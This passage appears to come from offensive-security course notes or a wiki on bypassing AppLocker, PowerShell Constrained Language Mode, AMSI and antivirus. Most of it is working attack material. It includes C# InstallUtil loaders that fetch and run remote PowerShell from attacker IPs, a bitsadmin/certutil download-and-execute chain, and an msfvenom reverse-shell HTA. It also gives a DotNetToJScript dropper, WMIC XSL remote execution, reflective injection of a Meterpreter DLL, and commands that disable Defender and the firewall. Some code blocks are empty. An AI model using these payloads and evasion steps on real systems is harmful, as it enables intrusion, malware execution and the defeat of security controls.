using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
